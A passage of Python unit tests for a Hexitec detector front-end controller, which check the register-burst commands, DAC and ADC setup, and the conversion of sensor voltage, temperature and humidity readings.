value_0C2[14], value_0C2[15], value_0C2[16], value_0C2[17],
value_0C2[18], value_0C2[19], 0x0D]
# No ini file loaded, use default values
col_read_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST, register_061[0],
register_061[1], value_061[0], value_061[1], value_061[2],
value_061[3], value_061[4], value_061[5], value_061[6],
value_061[7], value_061[8], value_061[9], value_061[10],
value_061[11], value_061[12], value_061[13], value_061[14],
value_061[15], value_061[16], value_061[17], value_061[18],
value_061[19], 0x0D]
# Column Read Enable, for ASIC2 (Reg 0xC2)
col_read_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_0C2[0], register_0C2[1], value_0C2[0], value_0C2[1],
value_0C2[2], value_0C2[3], value_0C2[4], value_0C2[5],
value_0C2[6], value_0C2[7], value_0C2[8], value_0C2[9],
value_0C2[10], value_0C2[11], value_0C2[12], value_0C2[13],
value_0C2[14], value_0C2[15], value_0C2[16], value_0C2[17],
value_0C2[18], value_0C2[19], 0x0D]
# Row Read Enable
register_043 = [0x34, 0x33] # Row Read Enable ASIC1
register_0A4 = [0x41, 0x34] # Row Read Enable ASIC2
value_043 = list_of_46s
value_0A4 = list_of_46s
# Row Read Enable, for ASIC1 (Reg 0x43)
row_read_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_043[0], register_043[1], value_043[0], value_043[1],
value_043[2], value_043[3], value_043[4], value_043[5],
value_043[6], value_043[7], value_043[8], value_043[9],
value_043[10], value_043[11], value_043[12], value_043[13],
value_043[14], value_043[15], value_043[16], value_043[17],
value_043[18], value_043[19], 0x0D]
# Row Read Enable, for ASIC2 (Reg 0xA4)
row_read_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_0A4[0], register_0A4[1], value_0A4[0], value_0A4[1],
value_0A4[2], value_0A4[3], value_0A4[4], value_0A4[5],
value_0A4[6], value_0A4[7], value_0A4[8], value_0A4[9],
value_0A4[10], value_0A4[11], value_0A4[12], value_0A4[13],
value_0A4[14], value_0A4[15], value_0A4[16], value_0A4[17],
value_0A4[18], value_0A4[19], 0x0D]
self.test_fem.fem.load_pwr_cal_read_enables()
self.test_fem.fem.send_cmd.assert_has_calls([
call(disable_sm),
call(col_power_enable1),
call(col_power_enable2),
call(row_power_enable1),
call(row_power_enable2),
call(col_cal_enable1),
call(col_cal_enable2),
call(row_cal_enable1),
call(row_cal_enable2),
call(col_read_enable1),
call(col_read_enable2),
call(row_read_enable1),
call(row_read_enable2),
call(enable_sm),
])
def test_load_pwr_cal_read_enables_handles_configured_values(self):
"""Test function handles values provided by an (simulated) ini config file."""
vsr_addr = HexitecFem.VSR_ADDRESS[1]
self.test_fem.fem.vsr_addr = vsr_addr
params = \
{'Bias_Voltage/Bias_Voltage_Refresh': 'False',
'Bias_Voltage/Bias_Refresh_Interval': '18000',
'Bias_Voltage/Time_Refresh_Voltage_Held': '3000',
'Bias_Voltage/Bias_Voltage_Settle_Time': '2000',
'Control-Settings/Gain': '0', 'Control-Settings/ADC1 Delay': '2',
'Control-Settings/delay sync signals': '10', 'Control-Settings/Row -> S1': '5',
'Control-Settings/S1 -> Sph': '1', 'Control-Settings/Sph -> S2': '5',
'Control-Settings/VCAL2 -> VCAL1': '1', 'Control-Settings/VCAL': '0.4',
'Control-Settings/Uref_mid': '1,000000E+3',
'Sensor-Config_V1_S1/ColumnEn_1stChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnPwr1stChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnCal1stChannel': '00110011001100110011',
'Sensor-Config_V1_S1/ColumnEn_2ndChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnPwr2ndChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnCal2ndChannel': '00110011001100110011',
'Sensor-Config_V1_S1/ColumnEn_3rdChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnPwr3rdChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnCal3rdChannel': '00110011001100110011',
'Sensor-Config_V1_S1/ColumnEn_4thChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnPwr4thChannel': '11111111111111111111',
'Sensor-Config_V1_S1/ColumnCal4thChannel': '00110011001100110011',
'Sensor-Config_V1_S1/RowEn_1stBlock': '11111111111111111111',
'Sensor-Config_V1_S1/RowPwr1stBlock': '11111111111111111111',
'Sensor-Config_V1_S1/RowCal1stBlock': '00110011001100110011',
'Sensor-Config_V1_S1/RowEn_2ndBlock': '11111111111111111111',
'Sensor-Config_V1_S1/RowPwr2ndBlock': '11111111111111111111',
'Sensor-Config_V1_S1/RowCal2ndBlock': '00110011001100110011',
'Sensor-Config_V1_S1/RowEn_3rdBlock': '11111111111111111111',
'Sensor-Config_V1_S1/RowPwr3rdBlock': '11111111111111111111',
'Sensor-Config_V1_S1/RowCal3rdBlock': '00110011001100110011',
'Sensor-Config_V1_S1/RowEn_4thBlock': '11111111111111111111',
'Sensor-Config_V1_S1/RowPwr4thBlock': '11111111111111111111',
'Sensor-Config_V1_S1/RowCal4thBlock': '00110011001100110011',
'Sensor-Config_V1_S2/ColumnEn_1stChannel': '11111111111111111111',
'Sensor-Config_V1_S2/ColumnPwr1stChannel': '11111111111111111111',
'Sensor-Config_V1_S2/ColumnCal1stChannel': '10110101101011010110',
'Sensor-Config_V1_S2/ColumnEn_2ndChannel': '11111111111111111111',
'Sensor-Config_V1_S2/ColumnPwr2ndChannel': '11111111111111111111',
'Sensor-Config_V1_S2/ColumnCal2ndChannel': '10110101101011010110',
'Sensor-Config_V1_S2/ColumnEn_3rdChannel': '11111111111111111111',
'Sensor-Config_V1_S2/ColumnPwr3rdChannel': '11111111111111111111',
'Sensor-Config_V1_S2/ColumnCal3rdChannel': '10110101101011010110',
'Sensor-Config_V1_S2/ColumnEn_4thChannel': '11111111111111111111',
'Sensor-Config_V1_S2/ColumnPwr4thChannel': '11111111111111111111',
'Sensor-Config_V1_S2/ColumnCal4thChannel': '10110101101011010110',
'Sensor-Config_V1_S2/RowEn_1stBlock': '11111111111111111111',
'Sensor-Config_V1_S2/RowPwr1stBlock': '11111111111111111111',
'Sensor-Config_V1_S2/RowCal1stBlock': '10110101101011010110',
'Sensor-Config_V1_S2/RowEn_2ndBlock': '11111111111111111111',
'Sensor-Config_V1_S2/RowPwr2ndBlock': '11111111111111111111',
'Sensor-Config_V1_S2/RowCal2ndBlock': '10110101101011010110',
'Sensor-Config_V1_S2/RowEn_3rdBlock': '11111111111111111111',
'Sensor-Config_V1_S2/RowPwr3rdBlock': '11111111111111111111',
'Sensor-Config_V1_S2/RowCal3rdBlock': '10110101101011010110',
'Sensor-Config_V1_S2/RowEn_4thBlock': '11111111111111111111',
'Sensor-Config_V1_S2/RowPwr4thBlock': '11111111111111111111',
'Sensor-Config_V1_S2/RowCal4thBlock': '10110101101011010110',
'Sensor-Config_V2_S1/ColumnEn_1stChannel': '11111111111111111111',
'Sensor-Config_V2_S1/ColumnPwr1stChannel': '11111111111111111111',
'Sensor-Config_V2_S1/ColumnCal1stChannel': '10101010101010101010',
'Sensor-Config_V2_S1/ColumnEn_2ndChannel': '11111111111111111111',
'Sensor-Config_V2_S1/ColumnPwr2ndChannel': '11111111111111111111',
'Sensor-Config_V2_S1/ColumnCal2ndChannel': '10101010101010101010',
'Sensor-Config_V2_S1/ColumnEn_3rdChannel': '11111111111111111111',
'Sensor-Config_V2_S1/ColumnPwr3rdChannel': '11111111111111111111',
'Sensor-Config_V2_S1/ColumnCal3rdChannel': '10101010101010101010',
'Sensor-Config_V2_S1/ColumnEn_4thChannel': '11111111111111111111',
'Sensor-Config_V2_S1/ColumnPwr4thChannel': '11111111111111111111',
'Sensor-Config_V2_S1/ColumnCal4thChannel': '10101010101010101010',
'Sensor-Config_V2_S1/RowEn_1stBlock': '11111111111111111111',
'Sensor-Config_V2_S1/RowPwr1stBlock': '11111111111111111111',
'Sensor-Config_V2_S1/RowCal1stBlock': '10101010101010101010',
'Sensor-Config_V2_S1/RowEn_2ndBlock': '11111111111111111111',
'Sensor-Config_V2_S1/RowPwr2ndBlock': '11111111111111111111',
'Sensor-Config_V2_S1/RowCal2ndBlock': '10101010101010101010',
'Sensor-Config_V2_S1/RowEn_3rdBlock': '11111111111111111111',
'Sensor-Config_V2_S1/RowPwr3rdBlock': '11111111111111111111',
'Sensor-Config_V2_S1/RowCal3rdBlock': '10101010101010101010',
'Sensor-Config_V2_S1/RowEn_4thBlock': '11111111111111111111',
'Sensor-Config_V2_S1/RowPwr4thBlock': '11111111111111111111',
'Sensor-Config_V2_S1/RowCal4thBlock': '10101010101010101010',
'Sensor-Config_V2_S2/ColumnEn_1stChannel': '11111111111111111111',
'Sensor-Config_V2_S2/ColumnPwr1stChannel': '11111111111111111111',
'Sensor-Config_V2_S2/ColumnCal1stChannel': '00000000000000000000',
'Sensor-Config_V2_S2/ColumnEn_2ndChannel': '11111111111111111111',
'Sensor-Config_V2_S2/ColumnPwr2ndChannel': '11111111111111111111',
'Sensor-Config_V2_S2/ColumnCal2ndChannel': '00000000000000000000',
'Sensor-Config_V2_S2/ColumnEn_3rdChannel': '11111111111111111111',
'Sensor-Config_V2_S2/ColumnPwr3rdChannel': '11111111111111111111',
'Sensor-Config_V2_S2/ColumnCal3rdChannel': '00000000000000000000',
'Sensor-Config_V2_S2/ColumnEn_4thChannel': '11111111111111111111',
'Sensor-Config_V2_S2/ColumnPwr4thChannel': '11111111111111111111',
'Sensor-Config_V2_S2/ColumnCal4thChannel': '00000000000000000000',
'Sensor-Config_V2_S2/RowEn_1stBlock': '11111111111111111111',
'Sensor-Config_V2_S2/RowPwr1stBlock': '11111111111111111111',
'Sensor-Config_V2_S2/RowCal1stBlock': '00000000000000000000',
'Sensor-Config_V2_S2/RowEn_2ndBlock': '11111111111111111111',
'Sensor-Config_V2_S2/RowPwr2ndBlock': '11111111111111111111',
'Sensor-Config_V2_S2/RowCal2ndBlock': '00000000000000000000',
'Sensor-Config_V2_S2/RowEn_3rdBlock': '11111111111111111111',
'Sensor-Config_V2_S2/RowPwr3rdBlock': '11111111111111111111',
'Sensor-Config_V2_S2/RowCal3rdBlock': '00000000000000000000',
'Sensor-Config_V2_S2/RowEn_4thBlock': '11111111111111111111',
'Sensor-Config_V2_S2/RowPwr4thBlock': '11111111111111111111',
'Sensor-Config_V2_S2/RowCal4thBlock': '00000000000000000000'}
self.test_fem.fem.hexitec_parameters = params
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.read_response = Mock()
list_of_46s = [0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46,
0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46]
list_of_30s = [0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30]
register_061 = [0x36, 0x31] # Column Read Enable ASIC1
register_0C2 = [0x43, 0x32] # Column Read Enable ASIC2
value_061 = list_of_46s
value_0C2 = list_of_46s
enable_sm = [0x23, vsr_addr, HexitecFem.SET_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]
disable_sm = [0x23, vsr_addr, HexitecFem.CLR_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]
# Column Power Enable
register_04D = [0x34, 0x44] # Column Power Enable ASIC1 (Reg 0x4D)
register_0AE = [0x41, 0x45] # Column Power Enable ASIC2 (Reg 0xAE)
value_04D = list_of_46s
value_0AE = list_of_46s
# Column Power Enable, for ASIC1 (Reg 0x4D)
col_power_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_04D[0], register_04D[1], value_04D[0], value_04D[1],
value_04D[2], value_04D[3], value_04D[4], value_04D[5],
value_04D[6], value_04D[7], value_04D[8], value_04D[9],
value_04D[10], value_04D[11], value_04D[12], value_04D[13],
value_04D[14], value_04D[15], value_04D[16], value_04D[17],
value_04D[18], value_04D[19], 0x0D]
# Column Power Enable, for ASIC2 (Reg 0xAE)
col_power_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_0AE[0], register_0AE[1], value_0AE[0], value_0AE[1],
value_0AE[2], value_0AE[3], value_0AE[4], value_0AE[5],
value_0AE[6], value_0AE[7], value_0AE[8], value_0AE[9],
value_0AE[10], value_0AE[11], value_0AE[12], value_0AE[13],
value_0AE[14], value_0AE[15], value_0AE[16], value_0AE[17],
value_0AE[18], value_0AE[19], 0x0D]
# Row Power Enable
register_02F = [0x32, 0x46] # Row Power Enable ASIC1 (Reg 0x2F)
register_090 = [0x39, 0x30] # Row Power Enable ASIC2 (Reg 0x90)
value_02F = list_of_46s
value_090 = list_of_46s
# Row Power Enable, for ASIC1 (Reg 0x2F)
row_power_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_02F[0], register_02F[1], value_02F[0], value_02F[1],
value_02F[2], value_02F[3], value_02F[4], value_02F[5],
value_02F[6], value_02F[7], value_02F[8], value_02F[9],
value_02F[10], value_02F[1], value_02F[2], value_02F[3],
value_02F[14], value_02F[15], value_02F[16], value_02F[17],
value_02F[18], value_02F[19], 0x0D]
# Row Power Enable, for ASIC2 (Reg 0x90)
row_power_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_090[0], register_090[1], value_090[0], value_090[1],
value_090[2], value_090[3], value_090[4], value_090[5],
value_090[6], value_090[7], value_090[8], value_090[9],
value_090[10], value_090[11], value_090[12], value_090[13],
value_090[14], value_090[15], value_090[16], value_090[17],
value_090[18], value_090[19], 0x0D]
# Column Calibration Enable
register_057 = [0x35, 0x37] # Column Calibrate Enable ASIC1 (Reg 0x57)
register_0B8 = [0x42, 0x38] # Column Calibrate Enable ASIC2 (Reg 0xB8)
value_057 = [53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53]
value_0B8 = list_of_30s
# Column Calibrate Enable, for ASIC1 (Reg 0x57)
col_cal_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_057[0], register_057[1], value_057[0], value_057[1],
value_057[2], value_057[3], value_057[4], value_057[5],
value_057[6], value_057[7], value_057[8], value_057[9],
value_057[10], value_057[11], value_057[12], value_057[13],
value_057[14], value_057[15], value_057[16], value_057[17],
value_057[18], value_057[19], 0x0D]
# Column Calibrate Enable, for ASIC2 (Reg 0xB8)
col_cal_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_0B8[0], register_0B8[1], value_0B8[0], value_0B8[1],
value_0B8[2], value_0B8[3], value_0B8[4], value_0B8[5],
value_0B8[6], value_0B8[7], value_0B8[8], value_0B8[9],
value_0B8[10], value_0B8[11], value_0B8[12], value_0B8[13],
value_0B8[14], value_0B8[15], value_0B8[16], value_0B8[17],
value_0B8[18], value_0B8[19], 0x0D]
# Row Calibration Enable
register_039 = [0x33, 0x39] # Row Calibrate Enable ASIC1 (Reg 0x39)
register_09A = [0x39, 0x41] # Row Calibrate Enable ASIC2 (Reg 0x9A)
value_039 = [53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53, 53]
value_09A = list_of_30s
# Row Calibrate Enable, for ASIC1 (Reg 0x39)
row_cal_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_039[0], register_039[1], value_039[0], value_039[1],
value_039[2], value_039[3], value_039[4], value_039[5],
value_039[6], value_039[7], value_039[8], value_039[9],
value_039[10], value_039[11], value_039[12], value_039[13],
value_039[14], value_039[15], value_039[16], value_039[17],
value_039[18], value_039[19], 0x0D]
# Row Calibrate Enable, for ASIC2 (Reg 0x9A)
row_cal_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_09A[0], register_09A[1], value_09A[0], value_09A[1],
value_09A[2], value_09A[3], value_09A[4], value_09A[5],
value_09A[6], value_09A[7], value_09A[8], value_09A[9],
value_09A[10], value_09A[11], value_09A[12], value_09A[13],
value_09A[14], value_09A[15], value_09A[16], value_09A[17],
value_09A[18], value_09A[19], 0x0D]
register_061 = [0x36, 0x31] # Column Read Enable ASIC1
register_0C2 = [0x43, 0x32] # Column Read Enable ASIC2
value_061 = list_of_46s
value_0C2 = list_of_46s
# No ini file loaded, use default values
col_read_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST, register_061[0],
register_061[1], value_061[0], value_061[1], value_061[2],
value_061[3], value_061[4], value_061[5], value_061[6],
value_061[7], value_061[8], value_061[9], value_061[10],
value_061[11], value_061[12], value_061[13], value_061[14],
value_061[15], value_061[16], value_061[17], value_061[18],
value_061[19], 0x0D]
# Column Read Enable, for ASIC2 (Reg 0xC2)
col_read_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_0C2[0], register_0C2[1], value_0C2[0], value_0C2[1],
value_0C2[2], value_0C2[3], value_0C2[4], value_0C2[5],
value_0C2[6], value_0C2[7], value_0C2[8], value_0C2[9],
value_0C2[10], value_0C2[11], value_0C2[12], value_0C2[13],
value_0C2[14], value_0C2[15], value_0C2[16], value_0C2[17],
value_0C2[18], value_0C2[19], 0x0D]
# No ini file loaded, use default values
col_read_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST, register_061[0],
register_061[1], value_061[0], value_061[1], value_061[2],
value_061[3], value_061[4], value_061[5], value_061[6],
value_061[7], value_061[8], value_061[9], value_061[10],
value_061[11], value_061[12], value_061[13], value_061[14],
value_061[15], value_061[16], value_061[17], value_061[18],
value_061[19], 0x0D]
# Column Read Enable, for ASIC2 (Reg 0xC2)
col_read_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_0C2[0], register_0C2[1], value_0C2[0], value_0C2[1],
value_0C2[2], value_0C2[3], value_0C2[4], value_0C2[5],
value_0C2[6], value_0C2[7], value_0C2[8], value_0C2[9],
value_0C2[10], value_0C2[11], value_0C2[12], value_0C2[13],
value_0C2[14], value_0C2[15], value_0C2[16], value_0C2[17],
value_0C2[18], value_0C2[19], 0x0D]
# Row Read Enable
register_043 = [0x34, 0x33] # Row Read Enable ASIC1
register_0A4 = [0x41, 0x34] # Row Read Enable ASIC2
value_043 = list_of_46s
value_0A4 = list_of_46s
# Row Read Enable, for ASIC1 (Reg 0x43)
row_read_enable1 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_043[0], register_043[1], value_043[0], value_043[1],
value_043[2], value_043[3], value_043[4], value_043[5],
value_043[6], value_043[7], value_043[8], value_043[9],
value_043[10], value_043[11], value_043[12], value_043[13],
value_043[14], value_043[15], value_043[16], value_043[17],
value_043[18], value_043[19], 0x0D]
# Row Read Enable, for ASIC2 (Reg 0xA4)
row_read_enable2 = [0x23, vsr_addr, HexitecFem.SEND_REG_BURST,
register_0A4[0], register_0A4[1], value_0A4[0], value_0A4[1],
value_0A4[2], value_0A4[3], value_0A4[4], value_0A4[5],
value_0A4[6], value_0A4[7], value_0A4[8], value_0A4[9],
value_0A4[10], value_0A4[11], value_0A4[12], value_0A4[13],
value_0A4[14], value_0A4[15], value_0A4[16], value_0A4[17],
value_0A4[18], value_0A4[19], 0x0D]
self.test_fem.fem.load_pwr_cal_read_enables()
self.test_fem.fem.send_cmd.assert_has_calls([
call(disable_sm),
call(col_power_enable1),
call(col_power_enable2),
call(row_power_enable1),
call(row_power_enable2),
call(col_cal_enable1),
call(col_cal_enable2),
call(row_cal_enable1),
call(row_cal_enable2),
call(col_read_enable1),
call(col_read_enable2),
call(row_read_enable1),
call(row_read_enable2),
call(enable_sm),
])
def test_load_pwr_cal_read_enables_fails_unknown_vsr(self):
"""Test function handles unknown VSR address."""
vsr_addr = 25
self.test_fem.fem.vsr_addr = vsr_addr
with pytest.raises(HexitecFemError) as exc_info:
self.test_fem.fem.load_pwr_cal_read_enables()
assert exc_info.type is HexitecFemError
assert exc_info.value.args[0] == "Unknown VSR address! (%s)" % vsr_addr
def test_write_dac_values(self):
"""Test function handles writing dac values ok."""
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.read_response = Mock()
vsr_addr = HexitecFem.VSR_ADDRESS[1]
self.test_fem.fem.vsr_addr = vsr_addr
params = \
{'Control-Settings/VCAL': '0.3',
'Control-Settings/Uref_mid': '1,000000E+3'}
self.test_fem.fem.hexitec_parameters = params
self.test_fem.fem.write_dac_values()
vcal = [0x30, 0x31, 0x39, 0x39]
umid = [0x30, 0x35, 0x35, 0x36]
hv = [0x30, 0x35, 0x35, 0x35]
dctrl = [0x30, 0x30, 0x30, 0x30]
rsrv2 = [0x30, 0x38, 0x45, 0x38]
scommand = [0x23, vsr_addr, self.test_fem.fem.WRITE_DAC_VAL,
vcal[0], vcal[1], vcal[2], vcal[3],
umid[0], umid[1], umid[2], umid[3],
hv[0], hv[1], hv[2], hv[3],
dctrl[0], dctrl[1], dctrl[2], dctrl[3],
rsrv2[0], rsrv2[1], rsrv2[2], rsrv2[3],
0x0D]
self.test_fem.fem.send_cmd.assert_has_calls([
call(scommand)
])
def test_enable_adc(self):
"""Test function handles enables ADCs ok."""
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.read_response = Mock()
vsr_addr = HexitecFem.VSR_ADDRESS[0]
self.test_fem.fem.vsr_addr = vsr_addr
self.test_fem.fem.enable_adc()
adc_disable = [0x23, vsr_addr, self.test_fem.fem.CTRL_ADC_DAC, 0x30, 0x32, 0x0D]
enable_sm = [0x23, vsr_addr, self.test_fem.fem.SET_REG_BIT, 0x30, 0x31, 0x30, 0x31, 0x0D]
adc_enable = [0x23, vsr_addr, self.test_fem.fem.CTRL_ADC_DAC, 0x30, 0x33, 0x0D]
adc_set = [0x23, vsr_addr, self.test_fem.fem.WRITE_REG_VAL, 0x31, 0x36, 0x30, 0x39, 0x0D]
self.test_fem.fem.send_cmd.assert_has_calls([
call(adc_disable),
call(enable_sm),
call(adc_enable),
call(adc_set)
])
def test_initialise_system(self):
"""Test function initialises the system ok."""
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.read_response = Mock()
vsr_addr = HexitecFem.VSR_ADDRESS[0]
self.test_fem.fem.vsr_addr = vsr_addr
self.test_fem.fem.selected_sensor = HexitecFem.OPTIONS[2]
self.test_fem.fem.initialise_sensor = Mock()
self.test_fem.fem.set_up_state_machine = Mock()
self.test_fem.fem.write_dac_values = Mock()
self.test_fem.fem.enable_adc = Mock()
self.test_fem.fem.load_pwr_cal_read_enables = Mock()
self.test_fem.fem.calibrate_sensor = Mock()
self.test_fem.fem.initialise_system()
# Note current setting, change Register 143 (0x8F) -> 1, confirm changed
read_vsr2_reg08F = [0x23, HexitecFem.VSR_ADDRESS[1], HexitecFem.READ_REG_VALUE,
0x38, 0x46, 0x0D]
set_vsr2_reg08F = [0x23, HexitecFem.VSR_ADDRESS[1], HexitecFem.SET_REG_BIT,
0x38, 0x46, 0x30, 0x31, 0x0D]
# Repeat with other VSR board
read_vsr1_reg08F = [0x23, HexitecFem.VSR_ADDRESS[0], HexitecFem.READ_REG_VALUE,
0x38, 0x46, 0x0D]
set_vsr1_reg08F = [0x23, HexitecFem.VSR_ADDRESS[0], HexitecFem.SET_REG_BIT,
0x38, 0x46, 0x30, 0x31, 0x0D]
disable_sm_vsr1 = [0x23, HexitecFem.VSR_ADDRESS[0], HexitecFem.CLR_REG_BIT,
0x30, 0x31, 0x30, 0x31, 0x0D]
disable_sm_vsr2 = [0x23, HexitecFem.VSR_ADDRESS[1], HexitecFem.CLR_REG_BIT,
0x30, 0x31, 0x30, 0x31, 0x0D]
enable_sm_vsr1 = [0x23, HexitecFem.VSR_ADDRESS[0], HexitecFem.SET_REG_BIT,
0x30, 0x31, 0x30, 0x31, 0x0D]
enable_sm_vsr2 = [0x23, HexitecFem.VSR_ADDRESS[1], HexitecFem.SET_REG_BIT,
0x30, 0x31, 0x30, 0x31, 0x0D]
self.test_fem.fem.send_cmd.assert_has_calls([
call(read_vsr2_reg08F),
call(set_vsr2_reg08F),
call(read_vsr1_reg08F),
call(set_vsr1_reg08F),
call(disable_sm_vsr1),
call(disable_sm_vsr2),
call(enable_sm_vsr1),
call(enable_sm_vsr2)
])
def test_calculate_frame_rate(self):
"""Test calculate_frame_rate works."""
row_s1 = 5
s1_sph = 1
sph_s2 = 5
self.test_fem.fem.row_s1 = row_s1
self.test_fem.fem.s1_sph = s1_sph
self.test_fem.fem.sph_s2 = sph_s2
self.test_fem.fem.duration_enabled = True
self.test_fem.fem.calculate_frame_rate()
assert self.test_fem.fem.frame_rate == 7154.079227920547
def test_read_pwr_voltages_vsr1(self):
"""Test function handles power voltages ok."""
self.test_fem.fem.send_cmd = Mock()
response = "02E405D108B000020BF90FD207EF088F12281A4400000001"
self.test_fem.fem.read_response = Mock(return_value=response)
vsr_addr = HexitecFem.VSR_ADDRESS[0]
self.test_fem.fem.vsr_addr = vsr_addr
self.test_fem.fem.debug = True
self.test_fem.fem.read_pwr_voltages()
# Note current setting, change Register 143 (0x8F) -> 1, confirm changed
power_command = [0x23, vsr_addr, HexitecFem.READ_PWR_VOLT, 0x0D]
self.test_fem.fem.send_cmd.assert_has_calls([
call(power_command, False)
])
assert self.test_fem.fem.vsr1_hv == -2.001293772893632
def test_read_pwr_voltages_vsr2(self):
"""Test function handles power voltages ok."""
self.test_fem.fem.send_cmd = Mock()
response = "02E505D008C400040BFD0FE807F008A612201A4600030000"
self.test_fem.fem.read_response = Mock(return_value=response)
vsr_addr = HexitecFem.VSR_ADDRESS[1]
self.test_fem.fem.vsr_addr = vsr_addr
self.test_fem.fem.debug = True
self.test_fem.fem.read_pwr_voltages()
# Note current setting, change Register 143 (0x8F) -> 1, confirm changed
power_command = [0x23, vsr_addr, HexitecFem.READ_PWR_VOLT, 0x0D]
self.test_fem.fem.send_cmd.assert_has_calls([
call(power_command, False)
])
assert self.test_fem.fem.vsr2_hv == -0.37647571428567517
def test_get_hv_value_handles_value_error(self):
"""Test function handles HV value error."""
return_value = self.test_fem.fem.get_hv_value("0")
assert return_value == -1
def test_read_temperatures_humidity_values_vsr2(self):
"""Test function handle sensor values ok."""
self.test_fem.fem.send_cmd = Mock()
response = "7C00270802A702B002D60F"
self.test_fem.fem.read_response = Mock(return_value=response)
vsr_addr = HexitecFem.VSR_ADDRESS[1]
self.test_fem.fem.vsr_addr = vsr_addr
self.test_fem.fem.debug = True
self.test_fem.fem.read_temperatures_humidity_values()
command = [0x23, vsr_addr, 0x52, 0x0D]
vsr2_ambient = 38.27437499999999
vsr2_humidity = 13.05851834897383
vsr2_asic1 = 42.4375
vsr2_asic2 = 43.0
vsr2_adc = 45.375
self.test_fem.fem.send_cmd.assert_has_calls([
call(command, False)
])
assert self.test_fem.fem.vsr2_ambient == vsr2_ambient
assert self.test_fem.fem.vsr2_humidity == vsr2_humidity
assert self.test_fem.fem.vsr2_asic1 == vsr2_asic1
assert self.test_fem.fem.vsr2_asic2 == vsr2_asic2
assert self.test_fem.fem.vsr2_adc == vsr2_adc
def test_read_temperatures_humidity_values_vsr1(self):
"""Test function handle sensor values ok."""
self.test_fem.fem.send_cmd = Mock()
response = "78882A7002BC0A0002C90F"
self.test_fem.fem.read_response = Mock(return_value=response)
vsr_addr = HexitecFem.VSR_ADDRESS[0]
self.test_fem.fem.vsr_addr = vsr_addr
self.test_fem.fem.debug = True
self.test_fem.fem.read_temperatures_humidity_values()
command = [0x23, vsr_addr, 0x52, 0x0D]
vsr1_ambient = 35.8934033203125
vsr1_humidity = 14.721751735713742
vsr1_asic1 = 43.75
vsr1_asic2 = 160.0
vsr1_adc = 44.5625
self.test_fem.fem.send_cmd.assert_has_calls([
call(command, False)
])
assert self.test_fem.fem.vsr1_ambient == vsr1_ambient
assert self.test_fem.fem.vsr1_humidity == vsr1_humidity
assert self.test_fem.fem.vsr1_asic1 == vsr1_asic1
assert self.test_fem.fem.vsr1_asic2 == vsr1_asic2
assert self.test_fem.fem.vsr1_adc == vsr1_adc
def test_read_temperature_humidity_values_handle_wrong_value(self):
"""Test function handles bad sensor values."""
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.read_response = Mock(return_value="xy")
return_value = self.test_fem.fem.read_temperatures_humidity_values()
assert return_value is None
def test_read_temperature_humidity_values_handle_bad_vsr(self):
"""Test function handles bad sensor values."""
self.test_fem.fem.send_cmd = Mock()
self.test_fem.fem.read_response = Mock(return_value="01")
return_value = self.test_fem.fem.read_temperatures_humidity_values()
assert return_value is None
def test_get_ambient_temperature(self):
"""Test temperature calculation work for different values."""
temperature_conversions = []
temperature_conversions.append((-41.34875, "0800"))
temperature_conversions.append((0.00186401367187, '443e'))
temperature_conversions.append((25.0020666504, '68aa'))
temperature_conversions.append((60.0007415771, '9ba7'))
for temperature, hex_value in temperature_conversions:
calculated_temperature = self.test_fem.fem.get_ambient_temperature(hex_value)
assert pytest.approx(calculated_temperature) == temperature
def test_get_ambient_temperature_fails_bad_input(self):
"""Test function fails bad input."""
bad_hex_value = "2g5"
return_value = self.test_fem.fem.get_ambient_temperature(bad_hex_value)
assert return_value == -100
def test_get_humidity(self):
"""Test humidity calculation work for different values."""
humidity_conversions = []
humidity_conversions.append((0.0006103608758678547, '0c4a'))
humidity_conversions.append((20.2226291294728, '35B4'))
humidity_conversions.append((40.875715266651405, '6000'))
humidity_conversions.append((100.00061036087587, 'd916'))
for humidity, hex_value in humidity_conversions:
calculated_humidity = self.test_fem.fem.get_humidity(hex_value)
assert pytest.approx(calculated_humidity) == humidity
def test_get_humidity_fails_bad_input(self):
"""Test function fails bad input."""
bad_hex_value = "25%"
return_value = self.test_fem.fem.get_humidity(bad_hex_value)
